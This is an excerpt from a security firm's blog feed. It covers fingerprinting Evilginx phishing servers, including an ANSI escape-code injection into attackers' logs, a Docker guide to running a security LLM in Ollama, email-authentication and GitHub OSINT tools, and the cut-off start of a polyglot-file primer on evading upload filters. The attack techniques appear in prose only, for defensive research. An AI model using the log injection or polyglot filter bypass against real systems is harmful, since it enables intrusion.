JARM</strong></h4><p>Similarly to the above research, it’s possible to get a <a href="https://engineering.salesforce.com/easily-identify-malicious-servers-on-the-internet-with-jarm-e095edac525a/">JARM</a> fingerprint of an Evilginx instance without knowing the corresponding Lure endpoint:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pDkqm5l2pMtOtNSvAuyuBQ.png" /><figcaption>JARM is an active Transport Layer Security (TLS) server fingerprinting tool, made open-source by Salesforce</figcaption></figure><p>The screenshot above shows the generated JARM for a test Evilginx instance we setup, it’s worth noting that the JARM will change based on the Go version used to build Evilginx so it can’t be used as a long lived indicator, but it could be useful to quickly identify multiple instances in a given time period.</p><h4><strong>DNS</strong></h4><p>Evilginx instances host their own DNS server with some interesting functionality that we can use as a fingerprint, specifically:</p><ul><li>The DNS server will resolve any subdomain of the Phishing domain to the set IP, whether it’s defined in the Phishlet configuration or not</li><li>The DNS server will not respond to attempts to resolve any other domains</li></ul><p>As an example, here’s how this looks for a local Evilginx instance, with the phishing domain set to “test.local” and using the example Phishlet, that sets up the subdomain “academy.test.local”:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/550/1*kh4cKp6mbbrm0_oQByL_hA.png" /><figcaption>Making queries to a local DNS server provided by Evilginx</figcaption></figure><p>The DNS server is not affected at all by the blacklist, so there’s no need to worry about our IP getting blocked when profiling it this way.</p><p>With that we’re done with the Evilginx specific fingerprinting methods, however the “normal” indicators still apply to Evilginx instances such as domain age and reputation, name similarity to the phished site, and of course if you have access to the correct Lure looking at the served HTML to see if it matches the Phished site.</p><h4><strong>Extra — Fun with ANSI</strong></h4><p>While looking into the possibility of guessing valid Lures I noticed that the Log output for Evilginx URL decodes the accessed endpoint before showing it to the user:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WFg76775T-cqiElCHPvSrw.png" /><figcaption>Evilginx performing URL decode before displaying data to the user</figcaption></figure><p>Since this is a CLI application I started trying to mess with ANSI escape codes and unsurprisingly they worked:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3TnMv01H-iqTtrlO9jVh6g.png" /><figcaption>Evilginx and ANSI escape codes</figcaption></figure><p>Given that these logs are shown every time an unauthorized request is made, and in combination with our blacklist bypass from before, this gives us the capability to perform a, mostly harmless, attack by spamming the server with some fun ANSI codes, as shown below:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2Fg4GCwPo5fGE%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Dg4GCwPo5fGE&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2Fg4GCwPo5fGE%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="640" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/f0c1c8083ad1225785abdc7628490059/href">https://medium.com/media/f0c1c8083ad1225785abdc7628490059/href</a></iframe><h3><strong>Conclusion</strong></h3><p>This wraps up our brief investigation into how to find Evilginx servers, while individually any of the methods shown can’t fully identify an instance, combining them together serves as a powerful way for finding and blocking Evilginx servers before they can do any damage, and maybe messing with the Attackers a bit with ANSI injection.</p><p><strong>Matias Forti </strong>[<a href="https://www.linkedin.com/in/matias-forti-1a0776182/">LinkedIn</a>] [<a href="https://x.com/polarizeflow">X</a>]<br>Technical Lead @ Kulkan</p><h3>About Kulkan</h3><p>Kulkan Security (<a href="http://www.kulkan.com/">www.kulkan.com</a>) is a boutique offensive security firm specialized in Penetration Testing. If you’re looking for a Pentest partner, we’re here. Reach out to us via our website, at<a href="http://www.kulkan.com/"> www.kulkan.com</a></p><p>More on Kulkan at:</p><ul><li><a href="https://blog.kulkan.com/">https://blog.kulkan.com</a></li><li><a href="https://x.com/kulkansecurity">https://x.com/kulkansecurity</a></li><li><a href="https://www.linkedin.com/company/kulkan-security">https://www.linkedin.com/company/kulkan-security</a></li></ul><p>Subscribe to our newsletter at:</p><ul><li><a href="https://kulkan.beehiiv.com/subscribe">https://kulkan.beehiiv.com/subscribe</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4b9b368166c3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to Run Cisco’s Foundation-sec-8B-Reasoning in Ollama (DIY Guide!)]]></title>
            <link>https://ai.plainenglish.io/how-to-run-ciscos-foundation-sec-8b-reasoning-in-ollama-diy-guide-c073c441dc06?source=rss-d4ad84534f10------2</link>
            <guid isPermaLink="false">https://medium.com/p/c073c441dc06</guid>
            <category><![CDATA[cisco]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[ollama]]></category>
            <category><![CDATA[llm]]></category>
            <dc:creator><![CDATA[Kulkan Security]]></dc:creator>
            <pubDate>Tue, 03 Feb 2026 20:18:02 GMT</pubDate>
            <atom:updated>2026-02-06T20:40:43.331Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DF_a_DG4DZ7wdEO2oCc2cg.png" /></figure><p><a href="https://blogs.cisco.com/security/foundation-sec-8b-reasoning-first-open-weight-security-reasoning-model">Cisco’s new model release</a> extends their previous 8B model with <strong>structured reasoning capabilities</strong>. This allows it to generate explicit reasoning traces and think through complex, multi-step security problems before presenting an answer.</p><p>If you have an <strong>Ollama</strong> deployment, you might have noticed this model isn’t in the library yet, and there are no GGUFs available on Hugging Face (as of time of writing this!).</p><p>In this article I’ll show you how to take the raw weights, pack them into a compressed GGUF, and run the model locally, ensuring you don’t have to trust a random internet stranger to pack the files for you.</p><p>And we’re going to do this using docker, so that you don’t have to install and persist software that you don’t plan on using, and we have it run sandboxed, the attacker-mindset way.</p><p>If you haven’t packed a model before, it’s a great excuse to get hands-on with tensors, GGUF and a tiny step forward in your supply chain security practices. It only takes a few minutes (give or take based on your connection speed).</p><h3><strong>Download the Weights and settings/configs</strong></h3><p>Go to the official repo and list all files: <a href="https://huggingface.co/fdtn-ai/Foundation-Sec-8B-Reasoning/tree/main">https://huggingface.co/fdtn-ai/Foundation-Sec-8B-Reasoning/tree/main</a></p><p>Doing this manually won’t require any Huggingface Tokens or API keys.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SLpRl9OV-eHyeutguVTKwg.png" /><figcaption>Huggingface showing Files and versions for Foundation-Sec-8B-Reasoning</figcaption></figure><p>Now place all of the downloaded files in a local directory named “<strong><em>raw_model”</em></strong> (should you use a different name then update it in the commands below as well)</p><p>Files you actually need<strong>:</strong></p><ul><li>All “.safetensors” files, “config.json”, “generation_config.json”, “tokenizer.json”, and “special_tokens_map.json”.</li></ul><h3><strong>Packing into GGUF</strong></h3><p>This section assumes you have Docker installed. The command below will convert the downloaded files into a well packed GGUF. For more information on the GGUF format please refer to: <a href="https://huggingface.co/docs/hub/en/gguf">https://huggingface.co/docs/hub/en/gguf</a></p><p>The command assumes you’ve downloaded all required files to a raw_model subdirectory and you’re executing this from the parent directory.</p><pre>docker run --rm -v $(pwd):/data python:3.11-slim bash -c &quot; \<br>  apt-get update &amp;&amp; apt-get install -y git &amp;&amp; \<br>  pip install --upgrade pip &amp;&amp; \<br>  git clone https://github.com/ggml-org/llama.cpp.git /app/llama.cpp &amp;&amp; \<br>  pip install -r /app/llama.cpp/requirements.txt &amp;&amp; \<br>  python /app/llama.cpp/convert_hf_to_gguf.py /data/raw_model --outfile /data/foundation-sec-F16.gguf&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y6Vz-QhNYlbMEBfoO0NtBA.png" /><figcaption>Image showing docker executing Llama.cpp’s convert_hf_to_gguf.py script</figcaption></figure><p>As a result, you’ll now have “<strong><em>foundation-sec-F16.gguf” </em></strong>file in the parent directory. You’re almost there! Read the next section in order to learn how to compress its size in a way we don’t lose quality or sanity (err, precision).</p><h3>Quantasizing, A.K.A. Compressing our GGUF</h3><p>The GGUF that we have is already usable, but it will likely require more VRAM that you and I have, or more than you’d be willing to allocate for the model.</p><p>That’s why we want to first Quantasize the model, whilst remaining careful not to reduce its size to a point where we make it “dumb”.</p><p>So how much should we be able to reduce its size in this case? In this example, I’m quantizing to Q8_0, which is well above the standard Q4_K_M normally used for 8b parameter models; just “in case” considering this new reasoning behavior may require higher precision to work properly. Higher precision should ensure the “chain of thought” logic remains intact.</p><p>Note that I have not found official recommendations from Cisco on which compression would be acceptable for us mortals with limited VRAM.</p><p>Here’s a quick table Gemini Pro put together for us:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rZyULse64DkCcTUz-ErqUA.png" /></figure><p>Let’s use docker then to quantize to Q8_0:</p><pre>docker run --rm -v $(pwd):/data ghcr.io/ggml-org/llama.cpp:full \<br>  --quantize /data/foundation-sec-F16.gguf /data/foundation-sec-Q8_0.gguf Q8_0</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QEBUIV97ROZ5x1QSBmNiIQ.png" /><figcaption>Image showing llama.cpp being used to Quantize our GGUF to Q8_0</figcaption></figure><p>Once the process finishes successfully, we’ll see a new GGUF in the same directory as the original one, named “<strong><em>foundation-sec-Q8_0.gguf”</em></strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_XqRjHhAYh4LCDkauUi91A.png" /></figure><p>You may also notice the GGUF is half the size as the original, <strong>yay!</strong></p><h3>Importing to Ollama</h3><p>We’re now going to be putting together a “<strong><em>Modelfile”</em></strong> which is going to be used by Ollama to load our GGUF file and in it we’re also going to be referencing data obtained from the huggingface files downloaded earlier.</p><pre>DIRECTIVE IN MODELFILE            SOURCE OF DATA<br>--------------------------------------------------------------------------------<br>FROM ./path_to_model.gguf         The path to the GGUF file.<br><br>TEMPLATE …[llama3.1template]      Meta Llama 3.1 Standard (This is because this<br>                                  model provided by Cisco is derived from <br>                                  Llama-3.1-8B-Base).<br><br>PARAMETER temperature 0.6         Llama-3.1-FoundationAI-SecurityLLM-Reasoning-8B<br>                                  Technical Report (Specific to the &quot;Reasoning&quot;<br>                                  variant). Refer to https://arxiv.org/html/2601.21051v1#S4<br>                                  section Evaluation Results &gt; Evaluation Protocol.<br>                                  (Also, note that the README file provided by <br>                                  Cisco mentions 0.3 was used for Benchmarking <br>                                  purposes).<br><br>PARAMETER top_p 0.95              Llama-3.1-FoundationAI-SecurityLLM-Reasoning-8B<br>                                  Technical Report. Refer to <br>                                  https://arxiv.org/html/2601.21051v1#S4 section<br>                                  Evaluation Results &gt; Evaluation Protocol.<br><br>SYSTEM …[system prompt]           Obtained from tokenizer_config.json provided by<br>                                  Cisco, under the “chat_template“ property.<br><br>PARAMETER stop &quot;&lt;|user|&gt;&quot;         Obtained from tokenizer_config.json provided<br>PARAMETER stop &quot;&lt;|assistant|&gt;&quot;    by Cisco and then eot_id is just standard for<br>PARAMETER stop &quot;&lt;|system|&gt;&quot;       Llama.<br>PARAMETER stop &quot;&lt;|end_of_text|&gt;&quot;<br>PARAMETER stop &quot;&lt;|eot_id|&gt;&quot;</pre><p>Create a file named “Modelfile” in the same directory as the GGUF:</p><pre>FROM ./foundation-sec-Q8_0.gguf<br><br># 1. The Cisco/Jinja Chat Template<br># (Derived directly from the tokenizer_config.json)<br>TEMPLATE &quot;&quot;&quot;{{ if .System }}&lt;|system|&gt;<br>{{ .System }}<br>{{ end }}{{ if .Prompt }}&lt;|user|&gt;<br>{{ .Prompt }}<br>{{ end }}&lt;|assistant|&gt;<br>&quot;&quot;&quot;<br><br># 2. The OFFICIAL System Prompt also obtained from tokenizer_config.json<br>SYSTEM &quot;&quot;&quot;You are Metis, a cybersecurity reasoning model from the Minerva family developed by Foundation AI at Cisco. You specialize in security analysis, threat intelligence, and strategic reasoning in cybersecurity contexts.<br><br>The user is a cybersecurity professional trying to accomplish some cybersecurity task. You must help them accomplish their tasks in the most efficient and safe manner possible.<br><br>You have professional knowledge and experience of a senior-level cybersecurity specialist. For tasks relating to cyber threat intelligence (CTI), make sure that the identifiers (CVEs, TTPs) are absolutely correct.<br><br>Think step-by-step before producing a response. Explicitly generate a reasoning trace to explain your logic before your final answer.&quot;&quot;&quot;<br><br># 3. Parameters (From Technical Report &amp; Tokenizer)<br>PARAMETER temperature 0.6<br>PARAMETER top_p 0.95<br>PARAMETER stop &quot;&lt;|user|&gt;&quot;<br>PARAMETER stop &quot;&lt;|assistant|&gt;&quot;<br>PARAMETER stop &quot;&lt;|system|&gt;&quot;<br>PARAMETER stop &quot;&lt;|end_of_text|&gt;&quot;<br>PARAMETER stop &quot;&lt;|eot_id|&gt;&quot;</pre><p><strong>Note:</strong> Ollama does not run the GGUF file directly from your source directory. Instead, adhering to the OCI (Open Container Initiative) standard, it ingests the file and converts it into hashed ‘blobs’ stored in its internal registry. Therefore once the import is complete, your original GGUF file is redundant and can be deleted to save space</p><p>Place both the GGUF file and the “Modelfile” in a temporary location of your choosing, and run:</p><pre><br>ollama create foundation-sec -f Modelfile</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/854/1*XF_dKcd4tuZA0k6whE5Iag.png" /><figcaption>Loading our GGUF into Ollama thorugh our new Modelfile</figcaption></figure><p>We’re ready to try it out.</p><p>Run:</p><pre>ollama run cisco-fsec-reason &quot;I can&#39;t find the question to the answer 42&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*prGeKECrFIplmIcVXSRxUA.png" /><figcaption>The Foundation-sec-8B-Reasoning model running in Ollama</figcaption></figure><h3>Closing thoughts</h3><p>We are in an era where open-weight models are gold. Being able to pack and run them yourself means you aren’t reliant on third parties or stuck paying for expensive closed-source APIs.</p><p><strong>Privacy Reminder:</strong> If you use this locally to analyze sensitive logs or internal configs, cut the cord. Ensure your inference server has outgoing internet access blocked. One main advantage of local AI is privacy, don’t leak your reasoning traces by accident.</p><p>Thanks for reading!</p><p><a href="https://www.linkedin.com/in/lucaslavarello/">Lucas Lavarello</a></p><h3>About Kulkan</h3><p>Kulkan Security (<a href="http://www.kulkan.com/">www.kulkan.com</a>) is a boutique offensive security firm specialized in Penetration Testing. If you’re looking for a Pentest partner, we’re here. Reach out to us via our website, at<a href="http://www.kulkan.com/"> www.kulkan.com</a></p><p>More on Kulkan at:</p><ul><li><a href="https://blog.kulkan.com/">https://blog.kulkan.com</a></li><li><a href="https://x.com/kulkansecurity">https://x.com/kulkansecurity</a></li><li><a href="https://www.linkedin.com/company/kulkan-security">https://www.linkedin.com/company/kulkan-security</a></li></ul><p>Subscribe to our newsletter at:</p><ul><li><a href="https://kulkan.beehiiv.com/subscribe">https://kulkan.beehiiv.com/subscribe</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c073c441dc06" width="1" height="1" alt=""><hr><p><a href="https://ai.plainenglish.io/how-to-run-ciscos-foundation-sec-8b-reasoning-in-ollama-diy-guide-c073c441dc06">How to Run Cisco’s Foundation-sec-8B-Reasoning in Ollama (DIY Guide!)</a> was originally published in <a href="https://ai.plainenglish.io">Artificial Intelligence in Plain English</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[MxCheckSec: Validate SPF, DKIM, DMARC, and more.]]></title>
            <link>https://cybersecuritywriteups.com/mxchecksec-validate-spf-dkim-dmarc-and-more-f223f48d5453?source=rss-d4ad84534f10------2</link>
            <guid isPermaLink="false">https://medium.com/p/f223f48d5453</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[spf]]></category>
            <category><![CDATA[dns]]></category>
            <category><![CDATA[dkim]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Kulkan Security]]></dc:creator>
            <pubDate>Wed, 28 Jan 2026 20:17:06 GMT</pubDate>
            <atom:updated>2026-01-29T15:05:28.834Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*neCX1tWUfpHH4-OXtxjSkA.png" /><figcaption>Introducing MxCheckSec for SPF, DKIM and DMARC validation, and more.</figcaption></figure><p>Hello, <a href="https://www.linkedin.com/in/serafincpd/">Serafin Cepeda</a> here, Security Consultant at <a href="https://www.kulkan.com/">Kulkan</a>. If, like me, you have invested effort in configuring SPF, DKIM and DMARC for securing the e-mail setup of a domain in the past, you might have struggled with the settings on each DNS Record whose syntax and options can not only be difficult to remember but also not trivial to understand.</p><p>A few command-line tools and scripts which are out there take care of parsing and validating said records from a security point of view; but none produce a human-readable output with recommendations for the setup. That’s the reason why I decided to create <a href="https://github.com/kulkansecurity/mxchecksec"><strong><em>mxchecksec</em></strong></a>, following the latest industry standards. And today I’m sharing the tool with you, reader. I sincerely hope it helps you to secure your setup!</p><h3><strong>SPF, DKIM and DMARC Records</strong></h3><p>Simple Mail Transfer Protocol (SMTP) is the foundational protocol for transmitting email across networks, but it was originally designed under the assumption that the use-cases would be trustworthy, and that there would not be users with malicious intentions trying to take advantage of the protocol design. SMTP does not have built in security mechanisms that prevent spoofing or spam so, to overcome this, extra authentication protocols have been designed to verify the legitimacy of email senders and ensure message integrity.</p><p>Those security mechanisms are SPF, DKIM and DMARC, and even if SMTP itself does not require them to work, nowadays major email providers like Google mandate some configurations (e.g. DMARC to be present/configured for <a href="https://support.google.com/a/answer/81126?hl=en#zippy=%2Crequirements-for-sending-or-more-messages-per-day">senders with over 5.000 emails a day</a>), and all three are essential for high deliverability and protection against cyberattacks. Without SPF, DKIM and DMARC, legitimate emails could be flagged as spam or even be rejected by major providers, yet most importantly, the domain could become vulnerable to impersonation and phishing attacks. Let’s take a closer look at each of those protocols to understand the protection that each one provides, and the potential risks on the setup.</p><p><a href="https://www.cloudflare.com/learning/dns/dns-records/dns-spf-record/">SPF (Sender Policy Framework)</a> helps prevent email spoofing by specifying which IP addresses and servers are authorized to send emails on behalf of the domain. Upon receiving an email, the receiving servers check the sender’s IP address against the domain’s SPF record. If the IP is not authorized, the email may be rejected or marked as suspicious. This means that without SPF, an attacker could impersonate a sender and trick the recipient into taking action or disclosing information.</p><p><a href="https://www.cloudflare.com/learning/dns/dns-records/dns-dkim-record/">DKIM (DomainKeys Identified Mail)</a> adds message integrity by digitally signing emails using a private key before they are sent, and that signature is stored in a header that is sent as part of the email itself. The receiving server verifies the signature using a public key published in the domain’s DNS records, ensuring that the email has not been altered during transit and confirming it originates from an authorized source. Unlike SPF, DKIM does not rely on IP addresses but instead uses cryptographic signatures to authenticate the message content and the sending domain.</p><p><a href="https://www.cloudflare.com/learning/dns/dns-records/dns-dmarc-record/">DMARC (Domain-based Message Authentication, Reporting and Conformance)</a> relies both on SPF and DKIM by enforcing policies for handling emails that fail authentication checks, and also enables domain owners to receive detailed reports about authentication failures, helping them monitor and improve their email security posture. So, while SPF and DKIM allows the domain owner to define mechanisms for authenticating the sending server and checking the integrity of the email, DMARC defines rules like “If the email fails the DKIM and SPF tests, then reject it, and report the result to reports@mydomain.com”.</p><p>Ok, now that we’ve covered the advantages each of the mechanisms brings, is it as simple as blindly creating each record in order to secure a domain? Well, not really, given that generic settings could still leave a domain vulnerable to attacks. For example, using a simple “+all” in the SPF record, would enable any IP address to send emails using that domain, or setting the DMARC policy with “p=none” might instruct to the receiving server to actually deliver to the user an email even if the SPF or DKIM validations fail. Therefore, the challenge is to come up with a configuration that enables trusted servers to send emails on behalf of the domain while preventing attackers from creating spoofed messages or sending spam using our servers; and right there is where some automated validations could help us!</p><h3><strong>Automated Validations</strong></h3><p>The tool that I’ve developed, and <a href="https://github.com/kulkansecurity/mxchecksec">is available in GitHub</a>, analyses the SPF, DKIM and DMARC records for one or multiple domains, parsing them as a receiving server would do, and checking if the resulting behaviour represents some kind of risk. With a single command you are able to validate if the records are properly defined and also if there is any misconfiguration that could represent a security risk.</p><p>The validations that I’ve implemented allow you to detect things like:</p><ul><li>Weak or Missing DMARC policies, that would allow spoofed emails with your domain to reach the Inbox of the recipients.</li><li>Missing DKIM setup, or weak keys configured for the signing mechanisms.</li><li>Missing or Weak SPF definitions, that might enable attackers to send spoofed emails.</li><li>If the domain <strong>is not</strong> actively used for emails, it would detect if the setup is properly configured to prevent attackers from sending emails using that domain. <br>This is important, because corporations will likely own multiple domains, and if proper records are configured only on the domain that is legitimately used to send outgoing email (eg. <a href="http://company-email.com">company.com</a>) but not in every other domain that is actively used for other matters (eg. <a href="http://company-hq.com">companyinc.com</a>) attackers could simply go ahead and spoof the latter!</li></ul><p>The tool will also try to identify the email provider in use, based on the MX Records configured, and, as DKIM requires a selector, it will also try to retrieve the selector for the domain by using a set of pre-defined and common selectors (but also enables you to define a custom selector for testing specific ones).</p><p>For example, the output for Google domain (<a href="http://google.com">google.com</a>) which is properly configured:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ahnwalkwJm57iHsJdxuTyw.png" /><figcaption>mxchecksec executed on google.com</figcaption></figure><p>And this is the output for a different domain that has configuration issues:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I-CjtzuGxAcwHXGmz5URjw.png" /><figcaption>mxchecksec during execution</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eR5-TYAEYKCuv_5MF-gQhA.png" /><figcaption>mxchecksec displaying issues and recommendations when executed on a misconfigured domain</figcaption></figure><p>As you can see, the output is simple, yet human-readable and easy to understand, and provides details useful for mitigating the risks detected.</p><h4>Get MxCheckSec today from:</h4><ul><li><a href="https://github.com/kulkansecurity/mxchecksec">https://github.com/kulkansecurity/mxchecksec</a></li></ul><p>Thank you for reading!</p><p><strong>Serafin Cepeda </strong>[<a href="https://www.linkedin.com/in/serafincpd/">LinkedIn</a>]<br>Security Consultant @ Kulkan</p><h3>About Kulkan</h3><p>Kulkan Security (<a href="http://www.kulkan.com/">www.kulkan.com</a>) is a boutique offensive security firm specialized in Penetration Testing. If you’re looking for a Pentest partner, we’re here. Reach out to us via our website, at<a href="http://www.kulkan.com/"> www.kulkan.com</a></p><p>More on Kulkan at:</p><ul><li><a href="https://blog.kulkan.com/">https://blog.kulkan.com</a></li><li><a href="https://x.com/kulkansecurity">https://x.com/kulkansecurity</a></li><li><a href="https://www.linkedin.com/company/kulkan-security">https://www.linkedin.com/company/kulkan-security</a></li></ul><p>Subscribe to our newsletter at:</p><ul><li><a href="https://kulkan.beehiiv.com/subscribe">https://kulkan.beehiiv.com/subscribe</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f223f48d5453" width="1" height="1" alt=""><hr><p><a href="https://cybersecuritywriteups.com/mxchecksec-validate-spf-dkim-dmarc-and-more-f223f48d5453">MxCheckSec: Validate SPF, DKIM, DMARC, and more.</a> was originally published in <a href="https://cybersecuritywriteups.com">Cyber Security Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Gitxray v1.0.20: Inferring Timezones for Contributors, Commit Pattern Analysis, and more.]]></title>
            <link>https://medium.com/@kulkan-security/gitxray-v1-0-20-inferring-timezones-for-contributors-commit-pattern-analysis-and-more-f49cd4e35862?source=rss-d4ad84534f10------2</link>
            <guid isPermaLink="false">https://medium.com/p/f49cd4e35862</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[osint]]></category>
            <category><![CDATA[kali-linux]]></category>
            <category><![CDATA[privacy]]></category>
            <category><![CDATA[github]]></category>
            <dc:creator><![CDATA[Kulkan Security]]></dc:creator>
            <pubDate>Fri, 09 Jan 2026 18:39:49 GMT</pubDate>
            <atom:updated>2026-01-09T18:39:49.422Z</atom:updated>
            <content:encoded><![CDATA[<h4><strong>Our latest version for Gitxray is out and already updated in PyPI. Several new features and association checks included that can help with OSINT on contributors as well as with identifying repositories that are potentially malicious.</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/968/1*ii3_tksMxb1HL8P6_MIs_A.png" /></figure><h3>Inferring timezones based on Contributor disclosed Locations and pattern analysis on commit days and hours.</h3><p>We added a new behavior/pattern analysis to detect suspicious or unusual commit timing, including:</p><ul><li><strong>Automated/bot-style activity warnings</strong> (e.g., commit activity spanning <strong>more than 22 hours</strong> of the day, which could be normal behavior in Nomad contributors)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JFoyP5AZH786IL41qufPAw.png" /></figure><ul><li><strong>Timezone inference</strong> across <strong>190+ countries/cities. </strong>We simply collect the Location field bound to the account, match it to a Timezone and then inspect commit times to see if they are within a daylight window for that zone, or if they are night-time contributors, also mentioning if the Location does not seem to match the activity (it could be fake!)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MdkpTq4p_PNPkFfM7-rgKw.png" /></figure><p>The message varies, for example:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*ozBDZsSnIlpgvd2lVAlzvA.png" /></figure><p>And it can help identify a potential incorrect or fake Location:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*_D1BxkaM1O0wrYzzjBFx8Q.png" /></figure><h3>Obtaining more data by inspecting Commit messages and collecting co-authored-by trailers.</h3><p>Gitxray now parses Co-authored-by: trailers in commit messages to collect additional contributor emails. Beyond simply extracting these co-authors, we also check whether <strong>co-authors are shared across commits from different accounts</strong>, helping uncover relationships that may not show up in standard author-only analysis.</p><p>We’re referring to these:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/1*B8gxN4VfFfiSz0truVG--w.png" /><figcaption>Sample co-authored-by from a random public repository in GitHub</figcaption></figure><p>Which is picked up by Gitxray like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Cje8Lv2PAYyPpJf0IVOF7g.png" /></figure><h3>Repository creation-time warning</h3><p>We included in v1.0.19 an additional check which can help signal malicious repositories with fake timestamps, by checking <strong>commit dates vs repository creation time</strong>, issuing a highlighted <strong>WARNING</strong> when the timeline doesn’t make sense.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*d2oQtWCmU8bwnAvB" /></figure><p>If you’d like a good read on identifying fake and malicious repositories, refer to the following LinkedIn Post, where we used publicly available tools to create a fake account and fake repository, and then ran Gitxray against it:</p><ul><li><a href="https://www.linkedin.com/pulse/gitxray-v1019-out-identifying-fake-github-personas-lucas-lavarello-8627f/">https://www.linkedin.com/pulse/gitxray-v1019-out-identifying-fake-github-personas-lucas-lavarello-8627f/</a></li></ul><p><strong>More on Gitxray at:</strong></p><ul><li><a href="https://github.com/kulkansecurity/gitxray">https://github.com/kulkansecurity/gitxray</a></li><li><a href="https://www.gitxray.com/">https://www.gitxray.com/</a></li></ul><p><strong>Gitxray is also available in Kali! Check it out at:</strong></p><ul><li><a href="https://www.kali.org/tools/gitxray/">https://www.kali.org/tools/gitxray/</a></li></ul><p>Kulkan Security (<a href="http://www.kulkan.com/">www.kulkan.com</a>) is a boutique offensive security firm specialized in Penetration Testing. If you’re looking for a Pentest partner, we’re here. Reach out to us via our website, at <a href="http://www.kulkan.com/">www.kulkan.com</a></p><p><strong>More on Kulkan at:</strong></p><ul><li><a href="https://blog.kulkan.com/">https://blog.kulkan.com</a></li><li><a href="https://x.com/kulkansecurity">https://x.com/kulkansecurity</a></li><li><a href="https://www.linkedin.com/company/kulkan-security">https://www.linkedin.com/company/kulkan-security</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f49cd4e35862" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A Hands-On Introduction to Polyglot Files]]></title>
            <link>https://medium.com/@kulkan-security/a-hands-on-introduction-to-polyglot-files-699885a3e59f?source=rss-d4ad84534f10------2</link>
            <guid isPermaLink="false">https://medium.com/p/699885a3e59f</guid>
            <category><![CDATA[application-security]]></category>
            <category><![CDATA[polyglot]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[exiftool]]></category>
            <category><![CDATA[mitra]]></category>
            <dc:creator><![CDATA[Kulkan Security]]></dc:creator>
            <pubDate>Thu, 18 Dec 2025 18:05:29 GMT</pubDate>
            <atom:updated>2025-12-18T18:05:29.777Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_YsLW0EopycNfDuADN7l4Q.png" /><figcaption>A Hands-On Introduction to Polyglot Files</figcaption></figure><p>The goal of this post is to explore the nature of polyglot files and the scenarios where they are most effective for discovering vulnerabilities. We will also explore two existing tools which are going to help us create these kinds of files.</p><p>Learning the basics and how to use tools is valuable. However I firmly believe that taking that extra step to thoroughly understand the underlying mechanics, what they are actually doing and why, leads to a much deeper comprehension of any topic. This is exactly why I wanted to break this topic down step by step and with as much detail as possible.</p><h3>Polyglot files</h3><p>Starting with the main concept, these files are created by carefully structuring data so that different parsers interpret the same file differently. For example, a <strong><em>.png</em></strong> image might contain a hidden <strong><em>.exe</em></strong> payload, allowing it to behave as either an image or an executable depending on the context. This technique is commonly seen in malware distribution, but it’s also useful for bypassing file upload filters or exploiting weaknesses in file parsers.</p><p>Polyglot files work because attackers take advantage of overlaps between file formats and the way real-world parsers handle headers and structure. This becomes easier when a format tolerates extra bytes before or after the “content”, or when its signature doesn’t have to appear exactly at byte zero (that is the case, for example, of <em>HTML</em>). That said, the trick doesn’t depend on the embedded payload being a format with no magic bytes; it depends on making both parsers accept the same byte sequence.</p><h3>Where polyglot uploads become risky</h3><p>Polyglot upload testing is most valuable when the uploaded file is interpreted, transformed, or re-used by one or more components: server-side, client-side, or both. In practice, these processing paths are often not obvious from the outside, so it’s reasonable to prioritize testing whenever any of the following seem plausible:</p><ul><li>When an uploaded image or PDF is handled by image processing libraries or document parsers (<a href="https://nvd.nist.gov/vuln/detail/CVE-2016-3714">CVE-2016–3714</a>, <a 